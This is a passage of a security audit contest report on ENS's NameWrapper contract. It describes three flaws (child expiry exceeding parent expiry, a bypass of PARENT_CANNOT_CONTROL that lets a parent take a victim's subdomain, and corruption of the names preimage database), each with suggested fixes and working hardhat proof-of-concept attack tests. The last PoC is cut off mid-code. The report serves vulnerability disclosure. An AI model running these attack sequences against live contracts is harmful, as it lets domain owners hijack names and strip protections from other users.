ENS contest - PwnedNoMore's results

Lines of code

https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L504 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L356

Vulnerability details

Description

By design, the child node's expiry can only be extended up to the parent's current one. Adding these restrictions means that the ENS users only have to look at the name itself's fuses and expiry (without traversing the hierarchy) to understand what guarantees the users have.

When a parent node tries to setSubnodeOwner / setSubnodeRecord, the following code is used to guarantee that the new expiry can only be extended up to the current one.

function _getDataAndNormaliseExpiry(
    bytes32 parentNode,
    bytes32 node,
    uint64 expiry
)
    internal
    view
    returns (
        address owner,
        uint32 fuses,
        uint64
    )
{
    uint64 oldExpiry;
    (owner, fuses, oldExpiry) = getData(uint256(node));
    (, , uint64 maxExpiry) = getData(uint256(parentNode));
    expiry = _normaliseExpiry(expiry, oldExpiry, maxExpiry);
    return (owner, fuses, expiry);
}

However, the problem shows when

• The sub-domain (e.g., sub1.base.eth) has its own sub-sub-domain (e.g., sub2.sub1.base.eth)
• The sub-domain is unwrapped later, and thus its oldExpiry becomes zero.
• When base.eth calls NameWrapper.setSubnodeOwner, there is not constraint of sub1.base.eth's expiry, since oldExpiry == 0. As a result, the new expiry of sub1.base.eth can be arbitrary and smaller than the one of sub2.sub1.base.eth

The point here is that the oldExpiry will be set as 0 when unwrapping the node even it holds child nodes, relaxing the constraint.

Specifically, considering the following scenario

• The hacker owns a domain (or a 2LD), e.g., base.eth
• The hacker assigns a sub-domain to himself, e.g., sub1.base.eth
  • The expiry should be as large as possible
• Hacker assigns a sub-sub-domain, e.g., sub2.sub1.base.eth
  • The expiry should be as large as possible
• The hacker unwraps his sub-domain, i.e., sub1.base.eth
• The hacker re-wraps his sub-domain via NameWrapper.setSubnodeOwner
  • The expiry can be small than the one of sub2.sub1.base.eth

The root cause seems that we should not zero out the expiry when burning a node if the node holds any subnode.

Notes

Discussed with the project member, Jeff Lau.

If there is any issue running the attached PoC code, please contact me via izhuer#0001 discord.

Suggested Fix

• Potential fix 1: auto-burn CANNOT_UNWRAP which thus lets expiry decide whether a node can be unwrapped.
• Potential fix 2: force the parent to have CANNOT_UNWRAP burnt if they want to set expiries on a child via setSubnodeOwner / setSubnodeRecord / setChildFuses

PoC / Attack Scenario

There is a PoC file named poc5.js

To run the PoC, put then in 2022-07-ens/test/wrapper and run npx hardhat test --grep 'PoC'.

poc5.js

const packet = require('dns-packet')
const { ethers } = require('hardhat')
const { utils } = ethers
const { use, expect } = require('chai')
const { solidity } = require('ethereum-waffle')
const n = require('eth-ens-namehash')
const provider = ethers.provider
const namehash = n.hash
const { deploy } = require('../test-utils/contracts')
const { keccak256 } = require('ethers/lib/utils')

use(solidity)

const labelhash = (label) => utils.keccak256(utils.toUtf8Bytes(label))
const ROOT_NODE =
  '0x0000000000000000000000000000000000000000000000000000000000000000'

const EMPTY_ADDRESS = '0x0000000000000000000000000000000000000000'

function encodeName(name) {
  return '0x' + packet.name.encode(name).toString('hex')
}

const CANNOT_UNWRAP = 1
const CANNOT_BURN_FUSES = 2
const CANNOT_TRANSFER = 4
const CANNOT_SET_RESOLVER = 8
const CANNOT_SET_TTL = 16
const CANNOT_CREATE_SUBDOMAIN = 32
const PARENT_CANNOT_CONTROL = 64
const CAN_DO_EVERYTHING = 0

describe('PoC 5', () => {
  let ENSRegistry
  let BaseRegistrar
  let NameWrapper
  let NameWrapperV
  let MetaDataservice
  let signers
  let dev
  let victim
  let hacker
  let result
  let MAX_EXPIRY = 2n ** 64n - 1n

  before(async () => {
    signers = await ethers.getSigners()
    dev = await signers[0].getAddress()
    victim = await signers[1].getAddress()
    hacker = await signers[2].getAddress()

    EnsRegistry = await deploy('ENSRegistry')
    EnsRegistryV = EnsRegistry.connect(signers[1])
    EnsRegistryH = EnsRegistry.connect(signers[2])

    BaseRegistrar = await deploy(
      'BaseRegistrarImplementation',
      EnsRegistry.address,
      namehash('eth')
    )

    await BaseRegistrar.addController(dev)
    await BaseRegistrar.addController(victim)

    MetaDataservice = await deploy(
      'StaticMetadataService',
      'https://ens.domains'
    )

    NameWrapper = await deploy(
      'NameWrapper',
      EnsRegistry.address,
      BaseRegistrar.address,
      MetaDataservice.address
    )
    NameWrapperV = NameWrapper.connect(signers[1])
    NameWrapperH = NameWrapper.connect(signers[2])

    // setup .eth
    await EnsRegistry.setSubnodeOwner(
      ROOT_NODE,
      labelhash('eth'),
      BaseRegistrar.address
    )

    //make sure base registrar is owner of eth TLD
    expect(await EnsRegistry.owner(namehash('eth'))).to.equal(
      BaseRegistrar.address
    )
  })

  beforeEach(async () => {
    result = await ethers.provider.send('evm_snapshot')
  })
  afterEach(async () => {
    await ethers.provider.send('evm_revert', [result])
  })

  describe('subdomain can be re-wrapped', () => {
    /*
     * Attack scenario:
     *  + The hacker owns a domain (or a 2LD), e.g., base.eth
     *  + The hacker assigns a sub-domain to himself, e.g., sub1.base.eth
     *      + The expiry should be as large as possible
     *  + Hacker assigns a sub-sub-domain, e.g., sub2.sub1.base.eth
     *      + The expiry should be as large as possible
     *  + The hacker unwraps his sub-domain, i.e., sub1.base.eth
     *  + The hacker re-wraps his sub-domain, i.e., sub1.base.eth
     *      + The expiry can be small than the one of sub2.sub1.base.eth
     */
    before(async () => {
      await BaseRegistrar.addController(NameWrapper.address)
      await NameWrapper.setController(dev, true)
    })

    it('a passed test denotes a successful attack', async () => {
      const label = 'base'
      const labelHash = labelhash(label)
      const wrappedTokenId = namehash(label + '.eth')

      // register a 2LD domain
      await NameWrapper.registerAndWrapETH2LD(
        label,
        hacker,
        86400,
        EMPTY_ADDRESS,
        CAN_DO_EVERYTHING,
        MAX_EXPIRY
      )
      const block = await provider.getBlock(await provider.getBlockNumber())
      const expiry = block.timestamp + 86400
      expect(await BaseRegistrar.ownerOf(labelHash)).to.equal(
        NameWrapper.address
      )
      expect(await EnsRegistry.owner(wrappedTokenId)).to.equal(
        NameWrapper.address
      )
      expect(await NameWrapper.ownerOf(wrappedTokenId)).to.equal(hacker)
      expect(
          (await NameWrapper.getFuses(wrappedTokenId))[1]
      ).to.equal(expiry)

      // assign a submomain
      const subLabel = 'sub1'
      const subLabelHash = labelhash(subLabel)
      const subDomain = subLabel + '.' + label + '.eth'
      const wrappedSubTokenId = namehash(subDomain)
      await NameWrapperH.setSubnodeOwner(
        wrappedTokenId,
        subLabel,
        hacker,
        PARENT_CANNOT_CONTROL,
        MAX_EXPIRY
      )
      expect(await EnsRegistry.owner(wrappedSubTokenId)).to.equal(
          NameWrapper.address
      )
      expect(await NameWrapper.ownerOf(wrappedSubTokenId)).to.equal(hacker)
      expect(
          (await NameWrapper.getFuses(wrappedSubTokenId))[1]
      ).to.equal(expiry)

      // assign a subsubmomain
      const subSubLabel = 'sub2'
      const subSubLabelHash = labelhash(subSubLabel)
      const subSubDomain = subSubLabel + '.' + subDomain
      const wrappedSubSubTokenId = namehash(subSubDomain)
      await NameWrapperH.setSubnodeOwner(
        wrappedSubTokenId,
        subSubLabel,
        hacker,
        PARENT_CANNOT_CONTROL,
        MAX_EXPIRY
      )
      expect(await EnsRegistry.owner(wrappedSubSubTokenId)).to.equal(
          NameWrapper.address
      )
      expect(await NameWrapper.ownerOf(wrappedSubSubTokenId)).to.equal(hacker)
      expect(
          (await NameWrapper.getFuses(wrappedSubSubTokenId))[1]
      ).to.equal(expiry)

      // the hacker unwraps his wrappedSubTokenId
      await NameWrapperH.unwrap(wrappedTokenId, subLabelHash, hacker)
      expect(await EnsRegistry.owner(wrappedSubTokenId)).to.equal(hacker)

      // the hacker re-wrap his wrappedSubTokenId by NameWrapper.setSubnodeOwner
      await NameWrapperH.setSubnodeOwner(
        wrappedTokenId,
        subLabel,
        hacker,
        PARENT_CANNOT_CONTROL,
        expiry - 7200
      )
      expect(await EnsRegistry.owner(wrappedSubTokenId)).to.equal(
          NameWrapper.address
      )
      expect(await NameWrapper.ownerOf(wrappedSubTokenId)).to.equal(hacker)

      ///////////////////////////
      // Attack successed!
      ///////////////////////////

      // XXX: the expiry of sub1.base.eth is smaller than the one of sub2.sub1.base.eth
      const sub1_expiry = (await NameWrapper.getFuses(wrappedSubTokenId))[1]
      const sub2_expiry = (await NameWrapper.getFuses(wrappedSubSubTokenId))[1]
      console.log('sub1 expiry:', sub1_expiry)
      console.log('sub2 expiry:', sub2_expiry)
      expect(sub1_expiry.toNumber()).to.be.lessThan(sub2_expiry.toNumber())
    })
  })
})

Lines of code

https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L356 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L295 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/registry/ENSRegistry.sol#L74

Vulnerability details

Description

By design, for any subdomain, as long as its PARENT_CANNOT_CONTROL fuse is burnt (and does not expire), its parent should not be able to burn its fuses or change its owner.

However, this contraint can be bypassed by a parent node maliciously unwrapping itself. As long as the hacker becomes the ENS owner of the parent node, he can leverage ENSRegistry::setSubnodeOwner to re-set himself as the ENS owner of the subdomain, and thus re-invoking NameWrapper.wrap can rewrite the fuses and wrapper owner of the given subdoamin.

Considering the following attack scenario:

• Someone owns a domain (or a 2LD), e.g., poc.eth
• The domain owner assigns a sub-domain to the hacker, e.g., hack.poc.eth
  • This sub-domain should not burn CANNOT_UNWRAP
  • This sub-domain can burn PARENT_CANNOT_CONTROL
• Hacker assigns a sub-sub-domain to a victim user, e.g., victim.hack.poc.eth
• The victim user burns arbitrary fuses, including PARENT_CANNOT_CONTROL
  • The hacker should not be able to change the owner and the fuses of victim.hack.poc.eth ideally
• However, the hacker then unwraps his sub-domain, i.e., hack.poc.eth
• The hacker invokes ENSRegistry::setSubnodeOwner(hacker.poc.eth, victim) on the sub-sub-domain
  • He can reassign himself as the owner of the victim.hack.poc.eth
• The hacker invokes NameWrapper.wrap(victim.hacker.poc.eth) to over-write the fuses and owner of the sub-sub-domain, i.e., victim.hacker.poc.eth

The root cause here is that, for any node, when one of its subdomains burns PARENT_CANNOT_CONTROL, the node itself fails to burn CANNOT_UNWRAP. Theoretically, this should check to the root, which however is very gas-consuming.

Notes

Discussed with the project member, Jeff Lau.

If there is any issue running the attached PoC code, please contact me via izhuer#0001 discord.

Suggested Fix

• Potential fix 1: auto-burn CANNOT_UNWRAP which thus lets expiry decide whether a node can be unwrapped.
• Potential fix 2: leave fuses as is when unwrapping and re-wrapping, unless name expires. Meanwhile, check the old fuses even wrapping.

PoC / Attack Scenario

There are two attached PoC files, poc1.js and poc2.js. The poc1.js is for a case where the hacker holds a 2LD, and the poc2.js demonstrates the aforementioned scenario.

To run the PoC, put then in 2022-07-ens/test/wrapper and run npx hardhat test --grep 'PoC'.

poc1.js

const packet = require('dns-packet')
const { ethers } = require('hardhat')
const { utils } = ethers
const { use, expect } = require('chai')
const { solidity } = require('ethereum-waffle')
const n = require('eth-ens-namehash')
const namehash = n.hash
const { deploy } = require('../test-utils/contracts')
const { keccak256 } = require('ethers/lib/utils')

use(solidity)

const labelhash = (label) => utils.keccak256(utils.toUtf8Bytes(label))
const ROOT_NODE =
  '0x0000000000000000000000000000000000000000000000000000000000000000'

const EMPTY_ADDRESS = '0x0000000000000000000000000000000000000000'

function encodeName(name) {
  return '0x' + packet.name.encode(name).toString('hex')
}

const CANNOT_UNWRAP = 1
const CANNOT_BURN_FUSES = 2
const CANNOT_TRANSFER = 4
const CANNOT_SET_RESOLVER = 8
const CANNOT_SET_TTL = 16
const CANNOT_CREATE_SUBDOMAIN = 32
const PARENT_CANNOT_CONTROL = 64
const CAN_DO_EVERYTHING = 0

describe('PoC 1', () => {
  let ENSRegistry
  let BaseRegistrar
  let NameWrapper
  let NameWrapperV
  let MetaDataservice
  let signers
  let dev
  let victim
  let hacker
  let result
  let MAX_EXPIRY = 2n ** 64n - 1n

  before(async () => {
    signers = await ethers.getSigners()
    dev = await signers[0].getAddress()
    victim = await signers[1].getAddress()
    hacker = await signers[2].getAddress()

    EnsRegistry = await deploy('ENSRegistry')
    EnsRegistryV = EnsRegistry.connect(signers[1])
    EnsRegistryH = EnsRegistry.connect(signers[2])

    BaseRegistrar = await deploy(
      'BaseRegistrarImplementation',
      EnsRegistry.address,
      namehash('eth')
    )

    await BaseRegistrar.addController(dev)
    await BaseRegistrar.addController(victim)

    MetaDataservice = await deploy(
      'StaticMetadataService',
      'https://ens.domains'
    )

    NameWrapper = await deploy(
      'NameWrapper',
      EnsRegistry.address,
      BaseRegistrar.address,
      MetaDataservice.address
    )
    NameWrapperV = NameWrapper.connect(signers[1])
    NameWrapperH = NameWrapper.connect(signers[2])

    // setup .eth
    await EnsRegistry.setSubnodeOwner(
      ROOT_NODE,
      labelhash('eth'),
      BaseRegistrar.address
    )

    //make sure base registrar is owner of eth TLD
    expect(await EnsRegistry.owner(namehash('eth'))).to.equal(
      BaseRegistrar.address
    )
  })

  beforeEach(async () => {
    result = await ethers.provider.send('evm_snapshot')
  })
  afterEach(async () => {
    await ethers.provider.send('evm_revert', [result])
  })

  describe('subdomain can be re-wrapped', () => {
    before(async () => {
      await BaseRegistrar.addController(NameWrapper.address)
      await NameWrapper.setController(dev, true)
    })

    it('a passed test denotes a successful attack', async () => {
      const label = 'register'
      const labelHash = labelhash(label)
      const wrappedTokenId = namehash(label + '.eth')

      // register a 2LD domain for the hacker
      await NameWrapper.registerAndWrapETH2LD(
        label,
        hacker,
        86400,
        EMPTY_ADDRESS,
        CAN_DO_EVERYTHING,
        MAX_EXPIRY
      )
      expect(await BaseRegistrar.ownerOf(labelHash)).to.equal(
        NameWrapper.address
      )
      expect(await EnsRegistry.owner(wrappedTokenId)).to.equal(
        NameWrapper.address
      )
      expect(await NameWrapper.ownerOf(wrappedTokenId)).to.equal(hacker)

      // hacker signed a submomain for a victim user
      const subLabel = 'hack'
      const subLabelHash = labelhash(subLabel)
      const wrappedSubTokenId = namehash(subLabel + '.' + label + '.eth')
      await NameWrapperH.setSubnodeOwner(
        wrappedTokenId,
        subLabel,
        victim,
        PARENT_CANNOT_CONTROL,
        MAX_EXPIRY
      )
      expect(await EnsRegistry.owner(wrappedSubTokenId)).to.equal(
          NameWrapper.address
      )
      expect(await NameWrapper.ownerOf(wrappedSubTokenId)).to.equal(victim)
      expect(
          (await NameWrapper.getFuses(wrappedSubTokenId))[0]
      ).to.equal(PARENT_CANNOT_CONTROL)

      // the user sets a very strict fuse for the wrappedSubTokenId
      await NameWrapperV.setFuses(wrappedSubTokenId, 127 - PARENT_CANNOT_CONTROL) // 63
      expect((await NameWrapper.getFuses(wrappedSubTokenId))[0]).to.equal(127)

      // the hacker unwraps his 2LD token
      await NameWrapperH.unwrapETH2LD(labelHash, hacker, hacker)
      expect(await BaseRegistrar.ownerOf(labelHash)).to.equal(hacker)
      expect(await EnsRegistry.owner(wrappedTokenId)).to.equal(hacker)

      // the hacker setSubnodeOwner
      await EnsRegistryH.setSubnodeOwner(wrappedTokenId, subLabelHash, hacker)
      expect(await EnsRegistry.owner(wrappedSubTokenId)).to.equal(hacker)

      // the hacker re-wrap the sub node
      await EnsRegistryH.setApprovalForAll(NameWrapper.address, true)
      await NameWrapperH.wrap(
          encodeName(subLabel + '.' + label + '.eth'),
          hacker,
          EMPTY_ADDRESS
      )

      ///////////////////////////
      // Attack successed!
      ///////////////////////////

      // XXX: [1] the owner of wrappedSubTokenId transfer from the victim to the hacker
      // XXX: [2] the fuses of wrappedSubTokenId becomes 0 from full-protected
      expect(await NameWrapper.ownerOf(wrappedSubTokenId)).to.equal(hacker)
      expect((await NameWrapper.getFuses(wrappedSubTokenId))[0]).to.equal(0)
    })
  })
})

poc2.js

const packet = require('dns-packet')
const { ethers } = require('hardhat')
const { utils } = ethers
const { use, expect } = require('chai')
const { solidity } = require('ethereum-waffle')
const n = require('eth-ens-namehash')
const namehash = n.hash
const { deploy } = require('../test-utils/contracts')
const { keccak256 } = require('ethers/lib/utils')

use(solidity)

const labelhash = (label) => utils.keccak256(utils.toUtf8Bytes(label))
const ROOT_NODE =
  '0x0000000000000000000000000000000000000000000000000000000000000000'

const EMPTY_ADDRESS = '0x0000000000000000000000000000000000000000'

function encodeName(name) {
  return '0x' + packet.name.encode(name).toString('hex')
}

const CANNOT_UNWRAP = 1
const CANNOT_BURN_FUSES = 2
const CANNOT_TRANSFER = 4
const CANNOT_SET_RESOLVER = 8
const CANNOT_SET_TTL = 16
const CANNOT_CREATE_SUBDOMAIN = 32
const PARENT_CANNOT_CONTROL = 64
const CAN_DO_EVERYTHING = 0

describe('PoC 2', () => {
  let ENSRegistry
  let BaseRegistrar
  let NameWrapper
  let NameWrapperV
  let MetaDataservice
  let signers
  let dev
  let victim
  let hacker
  let result
  let MAX_EXPIRY = 2n ** 64n - 1n

  before(async () => {
    signers = await ethers.getSigners()
    dev = await signers[0].getAddress()
    victim = await signers[1].getAddress()
    hacker = await signers[2].getAddress()

    EnsRegistry = await deploy('ENSRegistry')
    EnsRegistryV = EnsRegistry.connect(signers[1])
    EnsRegistryH = EnsRegistry.connect(signers[2])

    BaseRegistrar = await deploy(
      'BaseRegistrarImplementation',
      EnsRegistry.address,
      namehash('eth')
    )

    await BaseRegistrar.addController(dev)
    await BaseRegistrar.addController(victim)

    MetaDataservice = await deploy(
      'StaticMetadataService',
      'https://ens.domains'
    )

    NameWrapper = await deploy(
      'NameWrapper',
      EnsRegistry.address,
      BaseRegistrar.address,
      MetaDataservice.address
    )
    NameWrapperV = NameWrapper.connect(signers[1])
    NameWrapperH = NameWrapper.connect(signers[2])

    // setup .eth
    await EnsRegistry.setSubnodeOwner(
      ROOT_NODE,
      labelhash('eth'),
      BaseRegistrar.address
    )

    //make sure base registrar is owner of eth TLD
    expect(await EnsRegistry.owner(namehash('eth'))).to.equal(
      BaseRegistrar.address
    )
  })

  beforeEach(async () => {
    result = await ethers.provider.send('evm_snapshot')
  })
  afterEach(async () => {
    await ethers.provider.send('evm_revert', [result])
  })

  describe('subdomain can be re-wrapped', () => {
    /*
     * Attack scenario:
     *  + Someone owns a domain (or a 2LD), e.g., poc.eth
     *  + The domain owner assigns a sub-domain to the hacker, e.g., hack.poc.eth
     *      + This sub-domain should not burn `CANNOT_UNWRAP`
     *      + This sub-domain can burn `PARENT_CANNOT_CONTROL`
     *  + Hacker assigns a sub-sub-domain to a victim user, e.g., victim.hack.poc.eth
     *  + The victim user burns arbitrary fuses, including `PARENT_CANNOT_CONTROL`
     *  + The hacker unwraps his sub-domain, i.e., hack.poc.eth
     *  + The hacker invokes `ENSRegistry::setSubnodeOwner` on the sub-sub-domain
     *      + He can reassign himself as the owner of the victim.hack.poc.eth
     *  + The sub-sub-domain is now owned by the hacker with more permissive fuses
     */
    before(async () => {
      await BaseRegistrar.addController(NameWrapper.address)
      await NameWrapper.setController(dev, true)
    })

    it('a passed test denotes a successful attack', async () => {
      const label = 'poc'
      const labelHash = labelhash(label)
      const wrappedTokenId = namehash(label + '.eth')

      // register a 2LD domain
      await NameWrapper.registerAndWrapETH2LD(
        label,
        dev,
        86400,
        EMPTY_ADDRESS,
        CAN_DO_EVERYTHING,
        MAX_EXPIRY
      )
      expect(await BaseRegistrar.ownerOf(labelHash)).to.equal(
        NameWrapper.address
      )
      expect(await EnsRegistry.owner(wrappedTokenId)).to.equal(
        NameWrapper.address
      )
      expect(await NameWrapper.ownerOf(wrappedTokenId)).to.equal(dev)

      // signed a submomain for the hacker
      const subLabel = 'hack'
      const subLabelHash = labelhash(subLabel)
      const subDomain = subLabel + '.' + label + '.eth'
      const wrappedSubTokenId = namehash(subDomain)
      await NameWrapper.setSubnodeOwner(
        wrappedTokenId,
        subLabel,
        hacker,
        PARENT_CANNOT_CONTROL,
        MAX_EXPIRY
      )
      expect(await EnsRegistry.owner(wrappedSubTokenId)).to.equal(
          NameWrapper.address
      )
      expect(await NameWrapper.ownerOf(wrappedSubTokenId)).to.equal(hacker)
      expect(
          (await NameWrapper.getFuses(wrappedSubTokenId))[0]
      ).to.equal(PARENT_CANNOT_CONTROL)

      // hacker signed a subsubmomain for a victim user
      const subSubLabel = 'victim'
      const subSubLabelHash = labelhash(subSubLabel)
      const subSubDomain = subSubLabel + '.' + subDomain
      const wrappedSubSubTokenId = namehash(subSubDomain)
      await NameWrapperH.setSubnodeOwner(
        wrappedSubTokenId,
        subSubLabel,
        victim,
        PARENT_CANNOT_CONTROL,
        MAX_EXPIRY
      )
      expect(await EnsRegistry.owner(wrappedSubSubTokenId)).to.equal(
          NameWrapper.address
      )
      expect(await NameWrapper.ownerOf(wrappedSubSubTokenId)).to.equal(victim)
      expect(
          (await NameWrapper.getFuses(wrappedSubSubTokenId))[0]
      ).to.equal(PARENT_CANNOT_CONTROL)

      // the user sets a very strict fuse for the wrappedSubSubTokenId
      await NameWrapperV.setFuses(wrappedSubSubTokenId, 127 - PARENT_CANNOT_CONTROL) // 63
      expect((await NameWrapper.getFuses(wrappedSubSubTokenId))[0]).to.equal(127)

      // the hacker unwraps his wrappedSubTokenId
      await NameWrapperH.unwrap(wrappedTokenId, subLabelHash, hacker)
      expect(await EnsRegistry.owner(wrappedSubTokenId)).to.equal(hacker)

      // the hacker setSubnodeOwner, to set the owner of wrappedSubSubTokenId as himself
      await EnsRegistryH.setSubnodeOwner(wrappedSubTokenId, subSubLabelHash, hacker)
      expect(await EnsRegistry.owner(wrappedSubSubTokenId)).to.equal(hacker)

        // the hacker re-wrap the sub sub node
      await EnsRegistryH.setApprovalForAll(NameWrapper.address, true)
      await NameWrapperH.wrap(encodeName(subSubDomain), hacker, EMPTY_ADDRESS)

      // ///////////////////////////
      // // Attack successed!
      // ///////////////////////////

      // XXX: [1] the owner of wrappedSubTokenId transfer from the victim to the hacker
      // XXX: [2] the fuses of wrappedSubTokenId becomes 0 from full-protected
      expect(await NameWrapper.ownerOf(wrappedSubSubTokenId)).to.equal(hacker)
      expect((await NameWrapper.getFuses(wrappedSubSubTokenId))[0]).to.equal(0)
    })
  })
})

Lines of code

https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L520

Vulnerability details

Description

By design, the NameWrapper.names is used as a preimage DB so that the client can query the domain name by providing the token ID. The name should be correctly stored. To do so, the NameWrapper record the domain's name every time it gets wrapped. And as long as all the parent nodes are recorded in the DB, wrapping a child node will be very efficient by simply querying the parent node's name.

However, within a malicious scenario, it is possible that a subdomain can be wrapped without recording its info in the preimage DB.

Specifically, when NameWrappper.setSubnodeOwner / NameWrappper.setSubnodeRecord on a given subdomain, the following code is used to check whether the subdomain is wrapped or not. The preimage DB is only updated when the subdomain is not wrapped (to save gas I beieve).

function setSubnodeOwner(
    bytes32 parentNode,
    string calldata label,
    address newOwner,
    uint32 fuses,
    uint64 expiry
)
    public
    onlyTokenOwner(parentNode)
    canCallSetSubnodeOwner(parentNode, keccak256(bytes(label)))
    returns (bytes32 node)
{
    bytes32 labelhash = keccak256(bytes(label));
    node = _makeNode(parentNode, labelhash);
    (, , expiry) = _getDataAndNormaliseExpiry(parentNode, node, expiry);
    if (ens.owner(node) != address(this)) {
        ens.setSubnodeOwner(parentNode, labelhash, address(this));
        _addLabelAndWrap(parentNode, node, label, newOwner, fuses, expiry);
    } else {
        _transferAndBurnFuses(node, newOwner, fuses, expiry);
    }
}

However, the problem is that ens.owner(node) != address(this) is not sufficient to check whether the node is alreay wrapped. The hacker can manipulate this check by simply invoking EnsRegistry.setSubnodeOwner to set the owner as the NameWrapper contract without wrapping the node.

Consider the following attack scenario.

• the hacker registers a 2LD domain, e.g., base.eth
• he assigns a subdomain for himself, e.g., sub1.base.eth
  • the expiry of sub1.base.eth should be set as expired shortly
  • note that the expiry is for sub1.base.eth instead of base.eth, so it is safe to make it soonly expired
• the hacker waits for expiration and unwraps his sub1.base.eth
• the hacker invokes ens.setSubnodeOwner to set the owner of sub2.sub1.base.eth as NameWrapper contract
• the hacker re-wraps his sub1.base.eth
• the hacker invokes nameWrapper.setSubnodeOwner for sub2.sub1.base.eth
  • as such, names[namehash(sub2.sub1.base.eth)] becomes empty
• the hacker invokes nameWrapper.setSubnodeOwner for eth.sub2.sub1.base.eth.
  • as such, names[namehash(eth.sub2.sub1.base.eth)] becomes \x03eth

It is not rated as a High issue since the forged name is not valid, i.e., without the tailed \x00 (note that a valid name should be like \x03eth\x00). However, the preimage BD can still be corrupted due to this issue.

Notes

Discussed with the project member, Jeff Lau.

If there is any issue running the attached PoC code, please contact me via izhuer#0001 discord.

Suggested Fix

When wrapping node X, check whether NameWrapper.names[X] is empty directly, and update the preimage DB if it is empty.

PoC / Attack Scenario

There is a PoC file named poc3.js

To run the PoC, put then in 2022-07-ens/test/wrapper and run npx hardhat test --grep 'PoC'.

poc3.js

const packet = require('dns-packet')
const { ethers } = require('hardhat')
const { utils } = ethers
const { use, expect } = require('chai')
const { solidity } = require('ethereum-waffle')
const n = require('eth-ens-namehash')
const provider = ethers.provider
const namehash = n.hash
const { evm } = require('../test-utils')
const { deploy } = require('../test-utils/contracts')
const { keccak256 } = require('ethers/lib/utils')

use(solidity)

const labelhash = (label) => utils.keccak256(utils.toUtf8Bytes(label))
const ROOT_NODE =
  '0x0000000000000000000000000000000000000000000000000000000000000000'

const EMPTY_ADDRESS = '0x0000000000000000000000000000000000000000'

function encodeName(name) {
  return '0x' + packet.name.encode(name).toString('hex')
}

const CANNOT_UNWRAP = 1
const CANNOT_BURN_FUSES = 2
const CANNOT_TRANSFER = 4
const CANNOT_SET_RESOLVER = 8
const CANNOT_SET_TTL = 16
const CANNOT_CREATE_SUBDOMAIN = 32
const PARENT_CANNOT_CONTROL = 64
const CAN_DO_EVERYTHING = 0

describe('PoC 3', () => {
  let ENSRegistry
  let BaseRegistrar
  let NameWrapper
  let NameWrapperV
  let MetaDataservice
  let signers
  let dev
  let victim
  let hacker
  let result
  let MAX_EXPIRY = 2n ** 64n - 1n

  before(async () => {
    signers = await ethers.getSigners()
    dev = await signers[0].getAddress()
    victim = await signers[1].getAddress()
    hacker = await signers[2].getAddress()

    EnsRegistry = await deploy('ENSRegistry')
    EnsRegistryV = EnsRegistry.connect(signers[1])
    EnsRegistryH = EnsRegistry.connect(signers[2])

    BaseRegistrar = await deploy(
      'BaseRegistrarImplementation',
      EnsRegistry.address,
      namehash('eth')
    )

    await BaseRegistrar.addController(dev)
    await BaseRegistrar.addController(victim)

    MetaDataservice = await deploy(
      'StaticMetadataService',
      'https://ens.domains'
    )

    NameWrapper = await deploy(
      'NameWrapper',
      EnsRegistry.address,
      BaseRegistrar.address,
      MetaDataservice.address
    )
    NameWrapperV = NameWrapper.connect(signers[1])
    NameWrapperH = NameWrapper.connect(signers[2])

    // setup .eth
    await EnsRegistry.setSubnodeOwner(
      ROOT_NODE,
      labelhash('eth'),
      BaseRegistrar.address
    )

    //make sure base registrar is owner of eth TLD
    expect(await EnsRegistry.owner(namehash('eth'))).to.equal(
      BaseRegistrar.address
    )
  })

  beforeEach(async () => {
    result = await ethers.provider.send('evm_snapshot')
  })
  afterEach(async () => {
    await ethers.provider.send('evm_revert', [result])
  })

  describe('name of a subdomain can be forged', () => {
    /*
     * Attack scenario:
     * 1. the hacker registers a 2LD domain, e.g., base.eth
     *
     * 2. he assigns a subdomain for himself, e.g., sub1.base.eth
     *      + the expiry of sub1.base.eth should be set as expired shortly
     *      + note that the expiry is for sub1.base.eth not base.eth, so it is safe to make it soonly expired
     *
     * 3. the hacker waits for expiration and unwraps his sub1.base.eth
     *
     * 4. the hacker invokes ens.setSubnodeOwner to set the owner of sub2.sub1.base.eth as NameWrapper contract
     *
     * 5. the hacker re-wraps his sub1.base.eth
     *
     * 6. the hacker invokes nameWrapper.setSubnodeOwner for sub2.sub1.base.eth
     *      + as such, `names[namehash(sub2.sub1.base.eth)]` becomes empty
     *
     * 7. the hacker invokes nameWrapper.setSubnodeOwner for eht.sub2.sub1.base.eth.
     *      + as such, `names[namehash(eth.sub2.sub1.base.eth)]` becomes \03eth
     */
    before(async () => {
      await BaseRegistrar.addController(NameWrapper.address)
      await NameWrapper.setController(dev, true)
    })

    it('a passed test denotes a successful attack', async () => {
      const label = 'base'
      const labelHash = labelhash(label)
      const wrappedTokenId = namehash(label + '.eth')

      // registers a 2LD domain
      await NameWrapper.registerAndWrapETH2LD(
        label,
        hacker,
        86400,
        EMPTY_ADDRESS,
        PARENT_CANNOT_CONTROL | CANNOT_UNWRAP,
        MAX_EXPIRY
      )
      expect(await BaseRegistrar.ownerOf(labelHash)).to.equal(
        NameWrapper.address
      )
      expect(await EnsRegistry.owner(wrappedTokenId)).to.equal(
        NameWrapper.address
      )
      expect(await NameWrapper.ownerOf(wrappedTokenId)).to.equal(hacker)

      // signed a submomain for the hacker, with a soon-expired expiry
      const sub1Label = 'sub1'
      const sub1LabelHash = labelhash(sub1Label)
      const sub1Domain = sub1Label + '.' + label + '.eth'  // sub1.base.eth
      const wrappedSub1TokenId = namehash(sub1Domain)
      const block = await provider.getBlock(await provider.getBlockNumber())
      await NameWrapperH.setSubnodeOwner(
        wrappedTokenId,
        sub1Label,
        hacker,
        PARENT_CANNOT_CONTROL | CANNOT_UNWRAP,
        block.timestamp + 3600 // soonly expired
      )
      expect(await EnsRegistry.owner(wrappedSub1TokenId)).to.equal(
          NameWrapper.address
      )
      expect(await NameWrapper.ownerOf(wrappedSub1TokenId)).to.equal(hacker)
      expect(
